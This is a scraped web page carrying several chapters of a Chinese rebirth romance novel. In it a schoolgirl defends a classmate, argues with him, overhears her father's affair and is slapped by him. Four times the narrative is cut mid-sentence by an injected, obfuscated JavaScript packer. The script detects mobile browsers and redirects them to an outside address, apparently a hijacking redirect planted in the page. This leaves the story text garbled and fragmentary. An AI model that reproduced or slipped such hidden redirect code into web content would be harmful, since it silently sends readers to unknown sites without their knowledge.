被吕程打中的右脸颊,眼睛下面有一片红肿,血丝隐约可见,左边的嘴角破了,还在渗血,除此以外,倒是没什么大碍。 她用棉签沾了碘伏,弯下腰,小心翼翼地涂抹眼下的红肿。 “吕程说我作弊,你呢?你从来没怀疑过我吗?” 他忽然开口,吓了她一跳,手一抖,棉签从他眼皮上擦过。 幸好他闭着眼睛。 秦遇拍了拍胸口,抽出一根新棉签,轻轻擦去那抹痕迹,一边擦,一边说,“没怀疑过。” “你不是一向不屑解释、懒得自证吗?这样的人,怎么会在意名次呢?” 穆逢忽然睁开眼,黑曜石般透亮的眼睛定定的看着她,透出喜悦和热情。 太近了。 太近了! 为了给他擦伤口,她和他的脸凑得很近,穆逢闭着眼的时候,不觉得有什么,现在一睁开眼,她只觉得浑身不自在。 他身上清爽的少年气息,生机勃勃,强烈得叫人无法忽视。 那双热切的眸子,像有魔力一样,把她牢牢定住,动弹不得。 扑通,扑通。 有什么东西在她胸腔里剧烈的跳动。 一定是太久没喝水了,所以喉头发干。 一定是医务室空气不流通,所以头脑发胀。 紧张和不安攫住了她。 可是除此之外,似乎还有别的情绪,挣扎着要喷薄而出。 是害羞?是期待?是慌乱? 不,不可能。 她为心底那一抹暗涌的欲念感到羞愧。 他才十七岁,她比他大了整整十岁呢。 虽说现在外表是一样年龄,可是心理年龄完全不同。 她怎么能对比自己小十岁的毛头小子心动? 罪过,真是罪过。 可是心底又有一个小小的、难听的声音,在尖锐地反问,“为什么不可以?” 她摇了摇头,试图甩掉那个声音。 “小遇,以后我可以这样叫你吧?” 她心头一跳,忽然反应过来,这是他今天第二次这样叫自己。 小遇,小遇,明明爸妈、姚摇、徐伟民也都是这么叫她,却从来没有谁的叫声,让她心跳加速。 为了掩饰不安,她装作去整理桌上的棉签,却不小心把碘伏碰倒了。 碘伏的瓶盖没拧紧,撒了一些在桌上,她手忙脚乱的清理着,穆逢站起来追问,“你在回避我的问题吗? “才没有,”她一本正经地反驳,“随便你,只是名字而已,怎么叫都一样。” 穆逢的嘴角愉悦地勾起,“对我来说,不一样。” 她心头一颤,顿了顿,生硬地说,“别乱动,也不要笑,嘴上有伤口。” 穆逢立刻乖乖地收紧嘴角。 半小时后,两个班的班主任都赶来了。 吕程的妈妈,高二的数学老师也来了。 三人和教导主任商议一番,最终决定各打五十大板:穆逢、秦遇、吕程三个人各写一份检查,穆逢和吕程各记过一次。 高一教师的办公室里,宋有才劈头盖脸地把穆逢训斥了一通,中心思想只有一条,无论什么原因,都不能动手。 穆逢早就习惯了这种场合,任他说得唾沫横飞、口干舌燥,始终是一副满不在乎的模样。 末了,宋有才说道,“虽然你这次考得很好,但是吕程同学的质疑也不无道理,学校的领导正在商量,要调出监控来看。” 穆逢轻描淡写地“哦”了一声,视线游移到窗外,秦遇却忍不住了,冲口而出,“老师,这不公平!” 宋有才怒气冲冲地看向她,她急急地解释,“考试过程中,监考老师都没发现他作弊,不能因为吕程的怀疑,就这样对他。” 宋有才耐着性子解释,“不是吕程一个人怀疑,老师们也都不敢相信。” “如果这样,应该把吕程的监控也调出来,一起查看。” “你!”宋有才气得胡子都要翘起来,“吕程一向学习很好,他的成绩是正常发挥,一点也不意外。” “可是,这不公平……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065484|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穆逢拉了她一下,“算了。” 说着,看向宋有才,淡淡地说,“老师们想怎么查就怎么查,我无所谓。” 宋有才严峻的视线在两人身上逡巡,半晌后,抬起粗短的手指,指向办公室尽头的长桌,“穆逢,你去那里写检查,一千字,一个字也不能少。” 又看向秦遇。 “至于你,老师有话跟你说。” 两人交换了一个眼神,穆逢拿了纸笔,去写检查。 宋有才咕咚咕咚灌了半杯茶,看着秦遇,一脸沉痛的开口。 “老师一直觉得你是个好孩子,是品学兼优的好学生,认真负责,又听话懂事,守规矩,没想到,你今天居然掺和进这种事里。” 秦遇没吭声。 “我真是不敢相信,身为语文课代表,又是一个女孩子,居然动手打人。” “是吕程先动手的,他把口水吐到穆逢脸上。” “那毕竟,不算是打架。” “老师,您不是教我们,士可杀不可辱吗?吕程这种行为,伤害性不大,侮辱性极强。” 眼前这个据理力争的秦遇,让宋有才觉得陌生。 “你怎么和老师顶嘴?你以前不是这样的,老师对你很失望。” “不管怎么样,第一个动手的,就是错!” 宋有才用手指在空中用力一点,仿佛是给自己的话盖章印戳。 争论的结果,是秦遇的500字检查,升级到1000字。 交完检查,又是一通训斥。 两人走出办公室的时候,太阳已经沉到西边。 夜风吹来,秦遇打了个寒战,竖起衣领。 今天出来得匆忙,她忘了戴围巾,冷风嗖嗖地往脖子里钻,她冷得缩成一团。 穆逢忽然拉住她。 “干什么?” 他站到她面前,解下围巾,不由分说地给她戴上。 “不用。” 她下意识往后退,被穆逢拽过来。 “别乱动,这个,就当是你今天维护我的谢礼。” 长长的红蓝白竖条纹围巾,绕脖子一圈,在胸前简单打个结,羊绒轻柔绵密的质地,把冷空气隔绝在外。 下巴和脖颈深陷在云朵一样的柔软中,少年清冽的气息,把她包围。 “好点吗?” 她垂下眼睛,“好多了。” “饿不饿?一起去红茶馆吃饭?” 秦遇摇摇头,“妈妈在等我回家吃饭,出来一整天了。” 她掏出小灵通看了看,“还有点时间,我要去音像店租碟片,你呢?” “正好,我也想去。” 两人沿着街,慢慢走向音像店,有一搭没一搭地说着话。 街边的不知名小店,传出周杰伦的歌,是充满夏日气息的《星晴》。 “你那个笔友,怎么样了?还有联系吗?” “没联系了,我寄回了他的照片,他好像有点生气,再也没写回信。” 穆逢的嘴角弯了弯。 “今天你打吕程的时候,我真得吓了一跳,没想到你也有这样冲动的一面。” 提起吕程,秦遇皱起眉,“谁叫他欺负人。” “是,都怪他,如果你还没解气,我再去揍他一顿。” 穆逢说着,就要撸起袖子,秦遇立刻拉住他,“别,我早就消气了,跟这种人生气,不值得。” 穆逢侧过头看她,“真不生气了?” “真不生气了。” 他盯着她看了十几秒,试图从她眼中确认,这是否是真心话。 “不管怎么说,今天你这样维护我,我很开心。” 她移开视线,“哦”了一声,踢开路边的小石子。 “没什么,身为朋友,应该的。” 走着走着,两人之间从并肩前行,变成了穆逢在前,一边和她聊天,一边倒着走。 “总觉得,你好像和他有过节。” 秦遇咬住下唇,“大概上辈子是仇人。” “你相信人有上辈子吗?” 她心头一动,抿住嘴唇,坚定地摇头,“我是无神论者。” 33. 吵架 进了音像店,秦遇直奔悬疑电影区。 在塞得满满当当的架子上,她一眼就看见了《致命ID》。 真奇怪,这么老的片子,怎么摆在这么靠前的位置。 翻到盒子背面,看到写着电影发售日期2003年4月,才想起来,现在正是2003年,这算是今年发售的新片了。 接着,是布拉德皮特主演的《七宗罪》,英国版《尼罗河上的惨案》,最后,又在角落里翻出了《犬神家族》。 “你喜欢悬疑片?” 穆逢突然从架子后出现,吓了她一跳。 她点点头,“你呢?” 他手里拿着两张挑好的碟片,最上面的一张,印着穿黑色外套、抱着书的苏菲玛索。 是《心动的感觉》。 另一张,则是金黄落叶下,男女对望的身影。 她念出碟片上的名字,《WhenHarryMetSally》。 秦遇好奇地看着他,“你喜欢看爱情片?” 穆逢“嗯”了一声,“没看过,想了解了解。” “了解这个干什么?” 她随口问了一句,就低头去读碟片后面的演员信息,穆逢张了张嘴,冲到嘴边的那句“学习一下”,还是吞了回去。 为了掩饰尴尬,他抬起手想抓一下头发,却忘了头发已经剪短,根本抓不住。 那只手顺势下滑,按了按后颈。 秦遇正好看见这一幕,“怎么了?你脖子不舒服?” “没事,没有。” 穆逢立刻否认,表情有点僵硬。 然后,指着她手里的碟片,“这个,不是悬疑片。” “你说《冬冬的假期》?这个是给秦征准备的,准备和妈妈一起陪他看。” 穆逢笑了,“你真是个好姐姐。” 秦遇得意地点头,“嗯,还可以吧。” “对了,告诉你一个好消息,秦征期末考试保持了前十名的名次,爸妈终于答应要买电脑了。” “太好了,这样我们聊□□就方便了。” 秦遇忽然站住,轻轻“啊”了一声,转向穆逢。 穆逢抬手摸了摸自己的脸,“怎么了?我脸上有什么东西吗” “不,不是那个。我看到名次表的时候就想问你了,可是吕程一闹,我就把这事给忘了。” 穆逢专注地听着,示意她说下去。 “说真的,你到底是怎么考这么好的?” “原来你要问的是这个,”穆逢轻松一笑,指指她,眼神认真,“因为小老师教得好。” 秦遇撇撇嘴,“我只考了第七,远不如你。” 穆逢不以为意,“你就当我是青出于蓝而胜于蓝吧。” 她皱眉思索着,“我记得很清楚,你期中考试英语只考了不到30分。” “不可能!这么短的时间,不可能进步那么快,除非,除非……” 她的双眼微微睁大,不敢置信地看着他,“该不会,你期中考试是故意没做完吧?” 穆逢的眼神闪烁了一下,她知道,自己猜对了。 “其实,也不是故意不做,我睡着了。” 秦遇的表情瞬间变得复杂。 “那,其他的科目呢?” “有的懒得写,史地政是真的没背。” “所以,其实你成绩一直很好,只要你愿意,你就可以考第一。” 秦遇慢慢地说,穆逢不置可否,显然没当回事。 忽然之间,被欺骗的愤怒感涌上来。 “那你还骗我?让我辛辛苦苦给你补课那么久!” “其实你根本不需要那些东西!” “你在耍我吗?” 她越说越气,闷头往前走,穆逢追上来解释,“不,我需要!如果没有你,我不会把史地政的知识点掌握得那么精确,主科是不差,但需要背诵的那些,主要靠你。” “我之前一直在国外,国内的课本是请了家教补的,我对考试题型完全不了解,这次的成绩,多亏了你。” 她猛地转过身,声音不知不觉间提高。 “那些东西没什么含金量,只要多花时间,谁都能背过。” 店老板不知什么时候冒出来,轻咳一声,提醒两人,“小姑娘,小伙子,小点声,本店不许吵架。” 秦遇嘟囔了一句“不好意思”,怒气冲冲地走向柜台。 穆逢三步跨作两步跟上她,把他选的碟片和她的放在一起。 老板视线在两人身上转了一圈,“租几天?一起结,还是分开结?” “一起。” “分开!” 两人同时出口,秦遇狠狠瞪他一眼,把自己选得碟片推得远远的,和他划清界限。 “分开,租一星期,我先过来的,老板先给我结账。” 收钱,找零,老板把五张碟片和一盘磁带放进透明塑胶袋,递给她。 秦遇接过来,胡乱塞进书包里,推门扬长而去。 穆逢放下一百块钱,丢下一句“不用找了”,追着她跑出去。 老板抬起头,看着玻璃窗外渐行渐远的两人,叹息道“青春啊!” 提着一筐碟片的老板娘走过来,好奇地问,“怎么突然这么伤感?” “没事,就是想起来我们小时候了。”老板取下夹在耳朵上的原子笔,在账本上记下,“红发小子,多付60元。” 秦遇气鼓鼓地走在街上,越想越气,越走越快。 不过,穆逢到底腿长,三两步就追上了她。 “喂,不要生气了。” “走开。” “对不起。” “差劲!骗子!” 穆逢紧走两步,绕到她前面,拦住她。 “不如,你打我几下,消消气?” 她瞪他一眼,转身往另一个方向走。 因为是一气之下胡乱选得路,所以根本没注意,前面是个死胡同。 跟在身后的穆逢提醒她,“走错路了。” 秦遇不客气道,“我乐意,不用你管。” 明明前面是一堵墙,偏偏要赌气走到头,穆逢跟过来,抬手轻轻挠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070840|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了挠她的肩,“对不起,不要生气了。” 她打掉他的手,哼了一声,转身往回走。 其实,在胡乱走来走去的过程中,心头的怒火早就灭的差不多了。 说起来,这也算不上多大的事。 他是个真学霸,不是垫底差生,这是好事。 他拿了班级第一、年级第三,赢了吕程,也是好事。 她心中过不去的,只有一点,就是觉得自己被骗了。 一想到自己煞有介事地给他讲题、传授经验,她就觉得有点可笑,这不是纯纯班门弄斧吗? 一边想,一边走,冷不防,有人从身后猛扯了她一下,下一秒,她撞进一个温暖的怀抱。 一辆箱型面包车擦着她驶过,飞驰而过的车身几乎摩擦到她的头发。 只差一点,她就要撞上那辆车。 耳边响起尖锐的汽笛声、紧急刹车声、轮胎摩擦路面的刺耳声音,旁边有行人惊叫着跳开。 她惊魂未定地喘着气,手心沁出冷汗。 穆逢轻快的声音在头顶响起。 “小心点,不要把别人的车撞坏。” 一句话,把她从紧张的情绪里解脱出来。 “没想到,你生气起来这么难哄。” 他的声音很轻,却又无比清晰。 秦遇抬头,撞进他眼睛里,那里有担忧、有歉意,还有一丝紧张,和说不清楚的暗涌情绪。 明明只是个十七岁的少年,肩膀却比她宽很多,像一堵墙一样坚实可靠。 两人之间,近得呼吸可闻,他温热的气息把她层层包裹。 她的脸有点发烫,“你放手。” 穆逢看着她,露出一个有点奇怪、又有点好笑的表情,然后,他向两边缓缓伸开手。 秦遇这才明白,他的神情是什么意思。 因为她的双手,正死死地攥着他的外套前襟。 她像触电一样松开手,后退一步。 理了理额前并不存在的乱发,轻咳一声,“我,那个,我回家了。” 穆逢伸手拉住她,一眨不眨地看着她的眼睛,声音压得很低,“能不能不生气了?” 他的手掌又大又温暖,因为经常打篮球,掌心有一些粗糙。 久违的害羞的感觉,从指尖蔓延开,席卷全身,她的手指动了下,立刻被他握得更紧,他固执地、耐心地盯着她,在等她的回答。 秦遇正想说,不生气了,眼角的余光瞥见一辆熟悉的黑色轿车一闪而过。 车窗摇上去的刹那,她似乎看见了陈宁的脸。 陈宁,在爸爸的车上? 怎么会?! 她不由分说地抽回手,向着车子驶去的方向跑,她想看清楚,那辆车是不是爸爸的?副驾驶上是不是载着陈宁? 可惜,车子早就拐过街角,消失了。 她在冷风中大口喘着气,胸口疼得像要炸开。 穆逢追过来,脸不红气不喘,“怎么回事?你在追谁?” 她直起身子,摆摆手,“没事,我大概是认错人了。” 34. 耳光 赶在七点前回到家,妈妈已经摆好了晚饭,和秦征一起等她吃饭。 砂锅里的黄豆猪手汤熬至浓白色,散发出诱人的香味,秦遇猛吸一口,瞬间觉得饥肠辘辘,这才想起今天只吃了一片面包。 “饿死了饿死了。” 她把外套往沙发上一丢,冲到桌边,夹起一块颤巍巍的猪蹄放到嘴里,轻轻一抿,皮肉化开。 她满足地眯起眼。 妈妈拾起她的外套,挂到玄关,半心疼半抱怨道“你这孩子真是的,穿那么少,跑出去一整天,也不怕冻感冒。” 秦征对她做了个鬼脸,问道“怎么样?你考了第几名?你徒弟呢?” 秦遇喝下一大口汤,“我第七,他第一。” 秦征的嘴瞬间张大成O型,“第,第一?” “没错,第一。” 秦征愣了几秒,忽然哈哈大笑起来。 “你第七,还要给第一名补课,笑死人了,哈哈哈哈哈。” 秦遇狠狠瞪了他一眼。 妈妈解开围裙,端着热腾腾的炸虾仁过来,“说什么呢,什么第一第七的?小征,擦擦胸口,汤都溅上了。” “没什么,妈妈,我考了第七,秦征为我高兴呢。” 秦征迫不及待得抓起一个虾仁丢进嘴里,被烫得呲牙咧嘴,说不出话,只是连连点头。 就在这时,门外传来一声汽笛,秦遇忽然想起街头那辆黑色轿车,装作不经意地问,“对了,妈,爸爸不回来吃饭吗?” “又去陪客户了,不知道要喝到多晚。” 秦遇夹菜的手一滞,垂下眼睛,迅速敛去眸中情绪,起身给妈妈盛了一碗汤,把肉堆得满满的。 “妈妈,你多吃点。” 晚上,她正靠在床头读小说,穆逢发来短信。 “吃晚饭了吗?” 她心里还有气,故意把手机放得远远的,隔了好几分钟,才生硬地回了两个字,“吃了”。 穆逢立刻发来第二条短信。 “新买的磁带,好听吗?” 她看向孤零零躺在桌上的新磁带,皱了皱眉。 在音像店看见孙燕姿新出了精选专辑《TheMoment》,就随手买了,结果到家发现随身听出问题,试了好几次都没反应。 她的随身听用了快两年,银色的壳子已经有多处磨损、褪色,露出里面的塑料底壳。 最近它一直卡带,还会莫名其妙地倒带,今晚倒好,直接罢工了。 她把随身听翻过来,发现左下角多了一条新鲜的裂缝。 今天被吕程推倒时,书包落在地上,大概就是那个时候,边角磕到了地上。 一遇见吕程,她就要倒霉。 她拿起小灵通,回道“随身听坏了,还没听。” 隔了不到一分钟,穆逢的短信又来了。 “打算先看哪一部电影?会和家人一起看吗?” 她想了想,“先看《致命ID》吧,我喜欢自己看。” 停了几秒,又回他一句,“你今天怎么话这么多?” 穆逢很快回过来,“你今天一直在生我的气,去追那辆车的时候,脸色都发白,我担心你。” 我担心你,简简单单的四个字,却有着莫名的冲击力。 她盯着那四个字,也不知道看了多久,忽然“啊”了一声,把小灵通丢到被子里,用手捂住脸。 指尖下的皮肤,微微发热。 过了几秒,她又抬起头,清了清嗓子,当作无事发生,拿起书,定位到刚才读到的地方。 可是尝试了几次,却读不进去。 熟悉的文字变成乱码,一会变大,一会缩小。 各种不相关的念头像车轮一样,在脑中轮番碾过。 穆逢这样的表现,是喜欢她吧? 再不济,也是有好感的,对不对? 下午看见的那辆车,是不是爸爸的? 车里的人,是陈宁吧? 他明明学习很好,还要骗她,让她给他补习,叫她小老师的时候,心里是不是在偷偷笑话她? …… 脑子里乱哄哄的,像塞进去一整个火车站,吵个不停,她干脆躺到床上发呆,不知不觉中,竟然睡着了。 半夜里被渴醒,发现灯忘了关,走到客厅去喝水,发现屋里漆黑一片,借着月光,看见墙上的钟表时针指向1。 妈妈和秦征的卧室都关着门,正在酣睡,屋里静悄悄的。 就在这时,门外响起隐约脚步声,越来越近。 是爸爸回来了。 她冲到门口,握住门把手,正想拧开门,听见门外响起说话声。 她停住,贴近门站着,仔细去听。 “……我到家了,你放心。” 是爸爸的声音,只是语气中的温柔体贴,让她感到陌生。 爸爸对妈妈说话时,总是带着些微的不耐,从来不会这样。 明知偷听不道德,双脚却像生了根,她屏住呼吸,继续听。 “……17号,金色宫殿,还是老房间,行吗?” 一瞬间,她像被提在冰桶里一样,遍体生寒。 接下来,门外停了数秒,大概是在等那边的回答。 然后,声音又响起。 “记得穿上那条红色裙子。” 声音里的轻佻和暗含的调情意味,让她觉得陌生又恶心。 一股想吐的冲动涌上来,她悄悄转身,快速穿过客厅,回了自己的房间。 关上灯,躺在漆黑的床上,听见爸爸进门的声音,温热的眼泪流下来。 原来,她自以为成功阻止了爸爸的出轨,不过是一场可笑的闹剧。 是她太天真,把一切想得太过简单。 爸爸和陈宁依然在偷偷交往,是的,她认定电话那头的女人就是陈宁。 她精心筹划的蹲点、拍照片,威胁,什么用也没有。 陈宁骗了她,表面答应和爸爸断了,其实还在背地里藕断丝连。 她一定在暗暗嘲笑她。 爸爸呢?他是否知道她对陈宁的威胁? 他完全不怕她把这件事告诉妈妈? 或许,他一早笃定妈妈太爱他,所以毫不在乎地在她身上戳下一个又一个伤口。 第二天下午,电脑送到家里,安在书房,姐弟俩围着电脑,开机、插网线、登□□,正忙得不亦乐乎,秦勇毅回来了。 他敲了敲秦遇的门,语气严肃。 “小遇,你出来,我有事找你。” “来了。” 秦遇装作没事的样子,笑嘻嘻地走到客厅,坐到他旁边,“爸,怎么了?” 秦勇毅点燃一支烟,深吸了一口,缓缓吐出一句话,“你班主任刚才给我打电话了。” 秦遇“嗯”了一声,“他说什么?” 她满不在乎的态度,让秦勇毅胸口的不快又添三分,他脸色更阴沉了。 “你们班主任说,你违反校规跟人动手,被罚写检查,有没有这回事?” “有。” “哼,你回得倒是理直气壮。”秦勇毅皱起眉头,“为什么要对同学动手,你给我解释解释。” 他一副兴师问罪的语气,让秦遇心生不快,她淡淡地说,“为了帮朋友呗,对方先动手的。” “什么朋友?听说不过是个爱打架的混混,你掺合这些事干什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076067|176572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 宋有才果然说了不少诋毁穆逢的话。 她不满地反驳,“他不是混混,他考了班里第一,年级第三,我跟他交朋友是为了向他学习。” 在奉行优绩主义的父母眼里,成绩好这一项,足以抵消千般不是。 她以为说出穆逢的成绩,爸爸就会放过这个话题,没想到,他的眉头皱得更紧了。 “什么朋友不朋友的,同学就是同学,谈什么朋友?!小遇,爸爸提醒你,不要早恋,不要为青春期的一时冲动,影响自己的前途。” “我听你们宋老师说了,这个姓穆的男生一直不服管教,这次考试也不知道有没有作弊,我们秦家的女儿,不能和这样不三不四的男生在一起!” 如果是上一世,这样的训话她不会反驳,最多以沉默来表达自己的不满。 如果没有昨晚那件事,他老生常谈的说教也不会激起她的无尽反感。 爸爸的嘴一张一合,烟雾缭绕间,她脑中回荡的却是那些轻浮的话语。 “金色宫殿” “老房间,别忘了。” “穿红色裙子来。” 反胃的感觉再次涌上来,她抬起头,冷冷地看着他。 “爸,你说他不三不四,那我问你,堂哥沉迷赌博,他算不算不三不四?我和秦征是不是该跟他断绝往来?” 秦勇毅顿了顿,训斥道“你不要强词夺理,你哥是你哥,是家人,怎么能跟外人放一起比较。” “那爸爸呢?你昨天是不是跟陈宁在一起?那么晚回家,说是陪客户,都是骗妈妈的,是吗?” 尽管极力忍耐,大颗的眼珠还是从不停地滚下来,面前这个人是她从小就喜欢的爸爸啊。 他总是给她讲睡前故事,也曾让她骑在自己肩头看花灯。 那些珍贵的回忆,如今就像泡了水一样,发霉变臭,不堪回首。 秦勇毅的眼神闪烁了一次,随即干巴巴地说,“你这孩子,瞎说什么。再说了,你得叫陈阿姨,怎么能直呼其名?” 秦勇毅觉得奇怪,一向老实乖顺的女儿,怎么忽然生出了刺。 然后,他忽然想起,陈宁曾经隐晦地提起,说秦遇可能发现了什么,他们要更隐蔽一些。 时至今日,他依然想在孩子面前维持一个伟岸父亲的形象,所以,他决定今天到此为止。 他摆了摆手,“这次的事就这样吧,总之,学生就专心学习,以后不要再违反纪律,让大人担心。” 可是秦遇却不能接受,她狠狠地瞪着秦勇毅,眼睛里几乎喷出火来。 “学生的责任是好好学习,爸爸你作为一个丈夫、一位父亲,做好自己的分内之事了吗?” “你做得那些恶心事,对得起妈妈吗?对得起这个家……” 啪。 一记响亮的声音在空中响起。 火辣辣的感觉从颊边烧起,秦遇捂住脸,不敢置信地看着他。 秦征叫着“怎么了怎么了”跑出来,看见这一幕,瞬间闭紧嘴。 秦勇毅的脸因为生气而扭曲,“这一巴掌是让你清醒清醒,一个孩子,没有资格这么跟父亲说话!大人之间的事,也容不得你插嘴!” 心头的怒火,忽然之间就烧成了灰,她看着面前的中年男人,从没有哪一刻,让她如此清楚地认识到爸爸的虚伪。 当他站在高位,义正严辞地俯身说教时,他可以有理有据,甚至通情达理。 可是当她试图以平等的姿态和他对话,用同样的话术指出他的错误时,他会气急败坏,会恼羞成怒,会口不择言。 会对她扬起手。 秦遇把自己反锁在卧室里,趴到床上放声大哭。 35. 哭泣 穆逢打来电话的时候,秦遇正哭得伤心。 眼泪像水一样流出来,打湿了枕巾和床单。 她没心情接电话,把小灵通丢到一边,沉浸在悲伤的情绪中。 她要哭得不只是被打的委屈,白忙活一场的挫败,还有心中父亲形象轰然倒塌的钝痛。 虽然上一世爸爸也曾出轨,可是从别人口里听说,和自己亲耳听到,冲击力完全不一样。 她恨爸爸一边义正严辞的教导她,一边自己做着对不起家人的事。 她恨妈妈过分软弱,发现爸爸出轨后深陷抑郁,对姐弟俩不闻不问。 她更恨自己弄错了重点。 她不该寄希望于阻断爸爸和陈宁的交往,而是该让妈妈的心态强大起来,抓住时代机遇,搞钱! 这样,就算爸爸离开,她至少不会为钱烦恼。 钱,可以解决成人世界99%的烦恼。 从号啕大哭,到呜咽不止,再到默默流泪,秦遇足足哭了半个多小时,她哭累了,也哭渴了。 期间,妈妈从商场采购回来,过来叫她,她没理。 秦征过来敲门,她也没动。 她揉了揉干涩的眼睛,感觉到悲伤随着眼泪蒸发,活力渐渐回到身体里。 她打开门,发现地上放着一杯水,端在手里还是温的,仰头咕咚咕咚喝下去。 秦征耳朵尖,听见她开门飞跑过来,拉起她的手,“秦遇,你没事了吧?你去上网吧,我让给你。” 她摆摆手,“没兴趣,我回屋歇歇,你玩吧。” 妈妈正在厨房做饭,爸爸坐在客厅抽烟,看见她出来,咳了一声,生硬地叫她,“过来吃草莓吧。” “我不想吃。” 丢下这句话,她走进卧室关上了门。 穆逢又打过来,她清了清嗓子,接起电话。 “喂。” 虽然极力克制,嗓音里的暗哑,还是清晰传到了他耳中。 电话那端沉寂了两秒,穆逢的声音变得小心翼翼,“你哭了?” 她吸了吸鼻子,硬着嗓子说,“关你什么事?” 穆逢也不恼,反而用带着笑意的声音说,“你说过我们是朋友,朋友哭,当然关我的事。” 秦遇不说话。 一滴眼泪滑下来。 她用手指擦去眼泪,盯着指尖那点水光。 多奇怪,刚刚,她觉得自己已经哭不出来了,可是一旦有人关心,心底的委屈又抬起头,眼眶一酸,眼泪流出来。 她尽量不发出声音,用手背擦去两颊的泪,可是抽泣和哽咽,就像咳嗽一样,藏也藏不住。 听出她在极力忍耐,穆逢安慰道,“没关系,想哭的时候就哭出来吧。” “不要你管。” 嘴上这样说,心里却被穆逢的话感动, “不如,我去给你送纸巾,想要多少都有,你只管尽情的哭,我负责递纸,好不好?” 秦遇忍不住笑了一声,抽了抽鼻子,“你是想让我哭瞎吗?” “不,我只想让你笑。” 他的嗓音淡淡的,却无比认真。 秦遇心头一颤,岔开话题。 “你打电话来,到底有什么事?” “没什么,只是看你的□□一直在线又不说话,还以为你被盗号了。” “嗯,电脑刚装好,登上□□就去做别的事了。” 挂断电话,她开始清理床头地板上的卫生纸,刚才边哭边擦,不知不觉中用了半包抽纸。 妈妈端来半盘草莓,告诉她晚上有她爱吃的黑椒牛柳,她抱了抱妈妈,说自己不饿,不想吃饭。 确切地说,她是不想和爸爸同桌吃饭,看见他就烦。 十几分钟后,穆逢又打来电话,她刚接起,就听见他爽朗的声音传来。 “出来。” “什么?” “出来,到门口来。” 她握紧小灵通,“我家门口?” “对,我现在就在你家门外,快出来,穿厚点。” 秦遇怔了两秒,像一阵风一样冲出卧室,套上外套就冲到了门外。 楼道里的声控灯亮起,远远的,她就看见穆逢站在外面,戴着那顶熟悉的枣红色鸭舌帽,手里提着一个小型医药箱。 秦遇紧走两步,到他跟前。 “你怎么来了?” 穆逢看着她,脸上淡淡的笑容,在看清她哭肿的双眼、红肿的右脸颊时,瞬间消失。 “你的脸……” 秦遇立刻竖起衣领,遮住右边的脸。 出来得太匆忙,她忘了戴帽子和围巾,也忘了自己的脸被打肿,眼皮也涨涨得,一定很难看。 穆逢的声音冷下来,“谁打了你?” 秦遇摇摇头,“没有。” 穆逢抬手指着她,“你的脸都肿了,还说没有。” “这是我们家的事,你不要管。” 这句话,已经等于变相告诉他答案。 穆逢把医药箱往她怀里一塞,就往楼道里走。 秦遇急忙拉住他,“你要干什么?” “我要找你爸理论理论,就算是亲爹,也不能对女儿动手。” 穆逢梗着脖子,微抿的嘴唇透出倔强,执意要往前冲。 “不行不行,你不能去!” 穆逢的力气很大,她根本拉不住,手指从他的袖子上滑脱,她一着急,声音更嘶哑了。 “这是我自己的事,你不许插手!” “左右都是老邻居,你这样,会让我很丢脸。” 穆逢猛地收住脚,他低下头,沉默几秒后转回身,目光沉痛地看着她,“对不起,我刚刚太冲动了。” 然后,他看见一颗泪珠挂在她的眼角,将坠未坠,叫人心惊。 他下意识抬起手指,擦去她眼角的泪。 动作轻柔得像一片羽毛。 “对不起,我不想让你哭的。” 他说着,脸上浮现懊悔和无措,像个做错事的孩子。 秦遇轻咬下唇,对他笑了笑,“没关系,这件事已经过去了,你放心,我不会再挨打了。” “他的破事,我以后不会管了。” 穆逢见过她和陈宁在红茶馆交涉,此刻,他已大致明白冲突的焦点。 他点点头,“我知道了。” 秦遇心中一动,忽然想起,上次在穆逢家,他曾说过,他爸爸有另外的家人。 都有一个出轨的爸,他们两个,也算是同病相怜吧。 想到这里,秦遇忍不住扯了扯嘴角,却牵痛了被打的地方。 穆逢看出来,立刻催促她,“回家吧,箱子里有冰眼罩和冰袋,快点敷上。” 他本来不知道她的脸肿了,只想着她哭了那么久,眼睛一定又红又肿,就去药店买了冰眼罩,因为买得多,店家送了很多冰袋,现在正好派上用场。 “你来,就是为了给我送冰眼罩?” “不然呢?” 穆逢眼中闪过一抹得意,见她眼睛更红了,又紧张地说“喂,你该不会被我感动哭了吧?” “才没有!” 就在这时,一片柳絮似的白,从空中飘下,落在他的睫毛上,很快变成半透明状。 一点轻盈的凉,落在她的额头和鼻尖。 她抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 